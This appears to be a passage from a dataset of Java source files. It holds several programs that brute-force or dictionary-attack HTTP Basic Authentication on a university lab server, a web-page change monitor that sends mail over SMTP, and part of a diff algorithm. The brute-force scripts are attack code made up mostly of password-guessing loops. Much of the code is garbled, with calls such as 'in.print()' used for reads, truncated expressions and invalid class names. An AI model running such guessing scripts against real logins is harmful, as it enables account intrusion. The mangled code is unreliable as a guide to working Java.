attempt=0;\n URL\ + \ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\ + \ sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\"\ + ,\"i\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"o\",\"p\",\"q\"\ + ,\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\n \ + \ \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ + M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"\ + V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i < cad.length; i++)\n \ + \ {\n for (int j=0; j< cad.length;j++)\n {\n for\ + \ (int k=0; k3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\ + \t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\ + \t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t\ + {\n\t\tthis.bf = bf;\n\t}\n}\n" + - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\nimport\ + \ java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\ + import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\ + \ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\ + \ void main(String[] args) throws Exception {\n String pass;\n int\ + \ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\ + \ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\ + \n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\ + \ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\ + \ while (!flag)\n {\n try{\n line = reader.readLine();\n\ + \ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + );\n URLConnection yc = url.openConnection();\n pass\ + \ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\ + \ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \ + \ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\ + \ String inputLine;\n while ((inputLine = in.readLine())\ + \ != null)\n System.out.println(inputLine);\n \ + \ in.close();\n System.out.println(pass);\n flag=true;\n\ + \ System.out.println(System.currentTimeMillis()/1000); \n \ + \ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\ + \ }catch(IOException e){\n \n }\n \ + \ } \n }catch(FileNotFoundException e){\n System.out.println(\"\ + File not found\");\n\n }\n }\n}" + - "import java.io.*;\nimport java.util.Date;\n\n\n\n\n\nimport java.jscape.inet.http.*;\ + \ \n\n\n\n\n\n\n\nclass BruteForce\n{\n public static void main (String args[])\ + \ throws Exception\n {\n String username = \"\";\n byte asciiLower[]\ + \ = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};\n\ + \ byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};\ + \ \n \n int errorMessage = 401;\n int firstPosition = 0;\n int\ + \ secondPosition = 0;\n int thirdPosition = 0; \n int number = 1;\n\ + \ int attempts = 0;\n \n Http http = new Http();\n HttpRequest\ + \ request = new HttpRequest (\"http://sec-crack.cs.rmit.edu./SEC/2/\" );\n \ + \ Date startDate = new Date(); \n \n \n \n for(firstPosition\ + \ = 0; firstPosition < 26; firstPosition++)\n {\n String one = new\ + \ String (asciiLower, firstPosition, number);\n String password = one;\n\ + \ request.setBasicAuthentication(username,password);\n HttpResponse\ + \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ + \ System.out.println(errorMessage);\n System.out.println(password);\n\ + \ attempts++;\n if (errorMessage == 200)\n break;\n\ + \ }\n\n \n\n if (errorMessage == 401)\n {\n for(firstPosition\ + \ = 0; firstPosition < 26; firstPosition++)\n {\n String one\ + \ = new String (asciiUpper, firstPosition, number);\n String password\ + \ = one;\n request.setBasicAuthentication(username,password);\n \ + \ HttpResponse response = http.getResponse(request);\n errorMessage\ + \ = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n \ + \ if (errorMessage == 200)\n break;\n }\n }\n\n\ + \ \n\n if (errorMessage == 401)\n {\n for (firstPosition\ + \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ + \ = 0; secondPosition < 26; secondPosition++)\n {\n String\ + \ one = new String(asciiLower, firstPosition,number);\n String two\ + \ = new String (asciiLower, secondPosition, number);\n String password\ + \ = one + two;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n \ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n }\n\ + \ } \n\n \n\n if (errorMessage == 401)\n { \n for\ + \ (firstPosition = 0; firstPosition < 26; firstPosition ++)\n { \n \ + \ for(secondPosition = 0; secondPosition < 26; secondPosition++)\n \ + \ {\n String one = new String(asciiUpper, firstPosition,number);\n\ + \ String two = new String (asciiUpper, secondPosition, number);\n\ + \ String password = one + two;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n \ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n }\n\ + \ }\n\n \n\n if(errorMessage == 401)\n {\n for (firstPosition\ + \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ + \ = 0; secondPosition < 26; secondPosition++)\n {\n String\ + \ one = new String(asciiUpper, firstPosition,number);\n String two\ + \ = new String (asciiLower, secondPosition, number);\n String password\ + \ = one + two;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n \ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n }\n\ + \ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\ + \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ + \ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\ + \ = 0; thirdPosition <26; thirdPosition++)\n { \n \ + \ String one = new String(asciiLower, firstPosition,number);\n \ + \ String two = new String (asciiLower, secondPosition, number);\n \ + \ String three = new String (asciiLower, thirdPosition, number); \n\ + \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n\ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n\ + \ }\n if (errorMessage == 200)\n break;\n\ + \ } \n }\n\n \n\n if (errorMessage == 401)\n \ + \ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\ + \ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ + \ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\ + \ { \n String one = new String(asciiUpper, firstPosition,number);\n\ + \ String two = new String (asciiUpper, secondPosition, number);\n\ + \ String three = new String (asciiUpper, thirdPosition, number);\ + \ \n String password = one + two + three;\n \ + \ request.setBasicAuthentication(username,password);\n HttpResponse\ + \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ + \ System.out.println(errorMessage);\n System.out.println(password);\n\ + \ attempts++;\n if (errorMessage == 200)\n \ + \ break;\n }\n if (errorMessage\ + \ == 200)\n break;\n }\n if (errorMessage\ + \ == 200)\n break;\n } \n }\n\n\n \n\n \ + \ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\ + \ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\ + \ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\ + \ thirdPosition <26; thirdPosition++)\n { \n String\ + \ one = new String(asciiUpper, firstPosition,number);\n String\ + \ two = new String (asciiLower, secondPosition, number);\n String\ + \ three = new String (asciiLower, thirdPosition, number); \n \ + \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n\ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n\ + \ }\n if (errorMessage == 200)\n break;\n\ + \ } \n }\n\n \n\n if (errorMessage == 401)\n \ + \ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\ + \ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ + \ {\n String one = new String(asciiLower, firstPosition,number);\n\ + \ String two = new String (asciiUpper, secondPosition, number);\n\ + \ String password = one + two;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n \ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n }\n\ + \ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\ + \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\ + \ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\ + \ = 0; thirdPosition <26; thirdPosition++)\n { \n \ + \ String one = new String(asciiLower, firstPosition,number);\n \ + \ String two = new String (asciiLower, secondPosition, number);\n \ + \ String three = new String (asciiUpper, thirdPosition, number); \n\ + \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n\ + \ if (errorMessage == 200)\n break;\n \ + \ } \n if (errorMessage == 200)\n \ + \ break; \n }\n if (errorMessage == 200)\n \ + \ break;\n }\n }\n\n \n\n if (errorMessage ==\ + \ 401)\n {\n for (firstPosition = 0; firstPosition < 26; firstPosition\ + \ ++)\n { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ + \ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\ + \ { \n String one = new String(asciiLower, firstPosition,number);\n\ + \ String two = new String (asciiUpper, secondPosition, number);\n\ + \ String three = new String (asciiUpper, thirdPosition, number);\ + \ \n String password = one + two + three;\n \ + \ request.setBasicAuthentication(username,password);\n HttpResponse\ + \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ + \ System.out.println(errorMessage);\n System.out.println(password);\n\ + \ attempts++;\n if (errorMessage == 200)\n \ + \ break;\n } \n if (errorMessage\ + \ == 200)\n break; \n }\n if (errorMessage\ + \ == 200)\n break;\n }\n }\n\n \n\n \ + \ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\ + \ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\ + \ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\ + \ thirdPosition <26; thirdPosition++)\n { \n String\ + \ one = new String(asciiLower, firstPosition,number);\n String\ + \ two = new String (asciiUpper, secondPosition, number);\n String\ + \ three = new String (asciiLower, thirdPosition, number); \n \ + \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n\ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n\ + \ }\n if (errorMessage == 200)\n break;\n\ + \ }\n }\n\n \n \n if (errorMessage == 401)\n \ + \ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\ + \ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\ + \ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\ + \ { \n String one = new String(asciiUpper, firstPosition,number);\n\ + \ String two = new String (asciiUpper, secondPosition, number);\n\ + \ String three = new String (asciiLower, thirdPosition, number);\ + \ \n String password = one + two + three;\n \ + \ request.setBasicAuthentication(username,password);\n HttpResponse\ + \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ + \ System.out.println(errorMessage);\n System.out.println(password);\n\ + \ attempts++;\n if (errorMessage == 200)\n \ + \ break;\n }\n if (errorMessage\ + \ == 200)\n break;\n }\n if (errorMessage\ + \ == 200)\n break;\n }\n }\n\n \n\n if\ + \ (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\ + \ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\ + \ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\ + \ thirdPosition <26; thirdPosition++)\n { \n String\ + \ one = new String(asciiUpper, firstPosition,number);\n String\ + \ two = new String (asciiLower, secondPosition, number);\n String\ + \ three = new String (asciiUpper, thirdPosition, number); \n \ + \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ + \ HttpResponse response = http.getResponse(request);\n \ + \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ + \ System.out.println(password);\n attempts++;\n\ + \ if (errorMessage == 200)\n break;\n \ + \ }\n if (errorMessage == 200)\n break;\n\ + \ }\n if (errorMessage == 200)\n break;\n\ + \ }\n }\n \n \n Date endDate = new Date();\n\ + \ System.out.println(\"Password crack finished: \" + endDate);\n System.out.println(\"\ + Password crack started: \" + startDate);\n System.out.println(\" of attempts:\ + \ \" + attempts);\n }\n}\n\n \n \n\n\n\n\n\n\n\n\n \n\n \ + \ \n\n \n\n\n\n\n\n \n \n \n " +- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\n\ + import java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\ + \tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\ + \ email=\"@cs.rmit.edu.\";\n private final String from=\"watchdog@cs.rmit.edu.\"\ + ;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\ + \ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\ + \ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\ + \t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\ + \t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\ + /temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\ + \t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o?:{}|\");\n\ + \t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\ + \ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\ + \ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\ + \",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\ + \ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ + +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\ + n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\ + \t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\ + \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ + );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\ + temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ + +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\ + n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\ + \t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\ + \t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\ + \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ + );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\ + \t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\ + \t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\ + \"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\ + \ m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\ + \t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\ + n The number of images before was \"+numImg+\" \\n While the number of images\ + \ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\ + \ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\ + \t\t\n\t\tfor(int i=0;i?:{}|\"\ + );\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\ + \ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ + +\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\ + \\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\ + iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\ + \t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\ + \ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\ + \ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\ + \ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\ + \t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\ + \t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\ + int c=0;\n\t\twhile(c')\n\t\t\t{\n\t\t\ + \t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\ + \t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\ + \",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n?:{}|\");\n\t\tout.flush();\t\ + \n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\ + \t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i?:{}|\"\ + );\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\ + \ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\ + \t\tString urlData=new String(\"\");\n InputStreamReader in=new\ + \ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\ + \ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\ + \ ch=in.print();\n }\n\t\treturn urlData;\n\t\ + }\n\n public boolean mail (String msg) throws IOException\n {\n\ + \ boolean ret=true;\n try\n {\n \ + \ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\ + \ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \ + \ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \ + \ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\ + \ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\ + \ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\ + \ out.println(\"DATA\");\n System.out.println(in.readLine());\n\ + \ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\ + \ out.println(msg);\n \t out.println(\".\");\n \ + \ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \ + \ System.out.println(in.readLine());\n }\n catch(Exception\ + \ e)\n {\n e.printStackTrace();\n System.out.println(\"\ + Some error occoured while communicating server\");\n ret=false;\n\ + \ \t return ret;\n }\n\t System.out.println(\"**************************************\\\ + nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\ + \ (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog [First] \\n {The First at the end is\ + \ used when running the watch dog for a new URL for the first Time}\");\n\t\t\ + boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\ + First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\ + \n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\ + \ i=0;i dmin)\n \ + \ fd[fdiagoff + --fmin - 1] = -1;\n else\n ++fmin;\n \ + \ if (fmax < dmax)\n fd[fdiagoff + ++fmax + 1] = -1;\n else\n\ + \ --fmax;\n for (d = fmax; d >= fmin; d -= 2)\n {\n \ + \ int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d\ + \ + 1];\n\n if (tlo >= ylim)\n x = tlo + 1;\n \ + \ else\n x = ylim;\n oldx = x;\n y = x -\ + \ d;\n while (x < xlim && y < ylim && xv[x] == yv[y]) {\n \ + \ ++x; ++y;\n }\n if (x - oldx > 20)\n \ + \ big_snake = true;\n fd[fdiagoff + d] = x;\n if (odd &&\ + \ bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \ + \ {\n cost = 2 * c - 1;\n return d;\n \ + \ }\n }\n\n \n if (bmin > dmin)\n bd[bdiagoff\ + \ + --bmin - 1] = Integer.MAX_VALUE;\n else\n ++bmin;\n \ + \ if (bmax < dmax)\n bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;\n\ + \ else\n --bmax;\n for (d = bmax; d >= bmin; d -= 2)\n\ + \ {\n int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff\ + \ + d + 1];\n\n if (tlo < ylim)\n x = tlo;\n \ + \ else\n x = - 1;\n oldx = x;\n y = x -\ + \ d;\n while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {\n \ + \ --x; --y;\n }\n if (oldx - x > 20)\n \ + \ big_snake = true;\n bd[bdiagoff + d] = x;\n if\ + \ (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \ + \ {\n cost = 2 * c;\n return d;\n \ + \ }\n }\n\n \n\n if (c > 200 && big_snake &&\ + \ heuristic)\n {\n int i = 0;\n int bestpos = -1;\n\ + \n for (d = fmax; d >= fmin; d -= 2)\n {\n \ + \ int dd = d - fmid;\n if ((fd[fdiagoff + d] - xoff)*2 - dd\ + \ > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \ + \ if (fd[fdiagoff + d] * 2 - dd > i\n && fd[fdiagoff +\ + \ d] - xoff > 20\n && fd[fdiagoff + d] - d - yoff > 20)\n\ + \ {\n int k;\n \ + \ int x = fd[fdiagoff + d];\n\n \n \ + \ for (k = 1; k <= 20; k++)\n if (xvec[x - k]\ + \ != yvec[x - d - k])\n break;\n\n \ + \ if (k == 21)\n {\n \ + \ ylim = fd[fdiagoff + d] * 2 - dd;\n bestpos =\ + \ d;\n }\n }\n \ + \ }\n }\n if ( x> 0)\n {\n \ + \ cost = 2 * c - 1;\n return bestpos;\n }\n\n \ + \ x= 0;\n for (d = bmax; d >= bmin; d -= 2)\n \ + \ {\n int dd = d - bmid;\n if ((xlim - bd[bdiagoff\ + \ + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \ + \ if ((xlim - bd[bdiagoff + d]) * 2 + dd > i\n \ + \ && xlim - bd[bdiagoff + d] > 20\n && x - (bd[bdiagoff\ + \ + d] - d) > 20)\n {\n \n \ + \ int k;\n int x = bd[bdiagoff + d];\n\n\ + \ for (k = 0; k < 20; k++)\n if\ + \ (xvec[x + k] != yvec[x - d + k])\n break;\n \ + \ if (k == 20)\n {\n \ + \ x = (xlim - bd[bdiagoff + d]) * 2 + dd;\n \ + \ bestpos = d;\n }\n }\n \ + \ }\n }\n if (x > 0)\n {\n\ + \ cost = 2 * c - 1;\n return bestpos;\n \ + \ }\n }\n }\n }\n\n \n\n private void compareseq (int xoff,\ + \ int xlim, int yoff, int ylim) {\n \n while (xoff < xlim && yoff < ylim\ + \ && xvec[xoff] == yvec[yoff]) {\n ++xoff; ++yoff;\n }\n \n while\ + \ (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {\n --xlim;\ + \ --x;\n }\n \n \n if (xoff == xlim)\n while (yoff < ylim)\n\ + \ filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;\n \ + \ else if (yoff == ylim)\n while (xoff < xlim)\n filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]]\ + \ = true;\n else\n {\n \n\n int d = diag (xoff, xlim, yoff,\ + \ ylim );\n int c = cost;\n int f = fdiag[fdiagoff + d];\n \ + \ int b = bdiag[bdiagoff + d];\n\n if (c == 1)\n {\n \ + \ \n throw new IllegalArgumentException(\"Empty subsequence\");\n\ + \ }\n else\n {\n \n compareseq\ + \ (xoff, b, yoff, b - d);\n \n compareseq (b, xlim, b -\ + \ d,ylim );\n }\n }\n }\n\n \n\n private void discard_confusing_lines()\ + \ {\n filevec[0].discard_confusing_lines(filevec[1]);\n filevec[1].discard_confusing_lines(filevec[0]);\n\ + \ }\n\n private boolean inhibit = false;\n\n \n\n private void shift_boundaries()\ + \ {\n if (inhibit)\n return;\n filevec[0].shift_boundaries(filevec[1]);\n\ + \ filevec[1].shift_boundaries(filevec[0]);\n }\n\n public interface ScriptBuilder\ + \ {\n \n public change build_script(\n boolean[] changed0,int len0,\n\ + \ boolean[] changed1,int len1\n );\n }\n\n \n\n static class ReverseScript\ + \ implements ScriptBuilder {\n public change build_script(\n final\ + \ boolean[] changed0,int len0,\n final boolean[] changed1,int len1)\n \ + \ {\n change script = null;\n int i0 = 0, i1 = 0;\n while (i0\ + \ < len0 || i1 < len1) {\n if (changed0[1+i0] || changed1[1+i1]) {\n \ + \ int line0 = i0, line1 = i1;\n\n \n while (changed0[1+i0])\ + \ ++i0;\n while (changed1[1+i1]) ++i1;\n\n \n \ + \ script = new change(line0, line1, i0 - line0, i1 - line1, script);\n \ + \ }\n\n \n i0++; i1++;\n }\n\n return script;\n }\n\ + \ }\n\n static class ForwardScript implements ScriptBuilder {\n \n public\ + \ change build_script(\n final boolean[] changed0,int len0,\n \ + \ final boolean[] changed1,int len1)\n {\n change script = null;\n \ + \ int i0 = len0, i1 = len1;\n\n while (i0 >= 0 || i1 >= 0)\n {\n\ + \ if (changed0[i0] || changed1[i1])\n {\n int\ + \ line0 = i0, line1 = i1;\n\n \n while (changed0[i0])\ + \ --i0;\n while (changed1[i1]) --i1;\n\n \n \ + \ script = new change(i0, i1, line0 - i0, line1 - i1, script);\n \ + \ }\n\n \n i0--; i1--;\n }\n\n return script;\n\ + \ }\n }\n\n \n public final static ScriptBuilder\n forwardScript = new\ + \ ForwardScript(),\n reverseScript = new ReverseScript();\n\n \n public final\ + \ change diff_2(final boolean reverse) {\n return diff(reverse ? reverseScript\ + \ : forwardScript);\n }\n\n \n public change diff(final ScriptBuilder bld)\ + \ {\n\n \n\n discard_confusing_lines ();\n\n \n\n xvec = filevec[0].undiscarded;\n\ + \ yvec = filevec[1].undiscarded;\n\n int diags =\n filevec[0].nondiscarded_lines\ + \ + filevec[1].nondiscarded_lines + 3;\n fdiag = new int[diags];\n fdiagoff\ + \ = filevec[1].nondiscarded_lines + 1;\n bdiag = new int[diags];\n bdiagoff\ + \ = filevec[1].nondiscarded_lines + 1;\n\n compareseq (0, filevec[0].nondiscarded_lines,\n\ + \ 0, filevec[1].nondiscarded_lines);\n fdiag = null;\n bdiag\ + \ = null;\n\n \n\n shift_boundaries ();\n\n \n return bld.build_script(\n\ + \ filevec[0].changed_flag,\n filevec[0].buffered_lines,\n filevec[1].changed_flag,\n\ + \ filevec[1].buffered_lines\n );\n\n }\n\n \n\n public static class\ + \ change {\n \n public int change ; \n \n public final int\ + \ inserted; \n \n public final int deleted; \n \n public\ + \ final int line0; \n \n public final int line1; \ + \ \n\n \n public change(int line0, int line1, int deleted, int inserted,\ + \ change old) {\n this.line0 = line0;\n this.line1 = line1;\n this.inserted\ + \ = inserted;\n this.deleted = 